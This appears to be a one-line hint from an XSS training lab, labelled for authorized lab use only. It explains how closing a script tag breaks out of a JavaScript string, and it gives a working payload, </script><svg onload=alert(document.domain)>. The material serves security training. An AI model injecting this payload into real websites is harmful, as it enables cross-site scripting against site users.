You are inside <script>var cfg={"name":"..."}</script>. The browser closes the script on the literal text </script> regardless of JS strings: </script><svg onload=alert(document.domain)>
RatXSS Dojo · HackXpert Coaching · The XSS Rat · authorized lab use only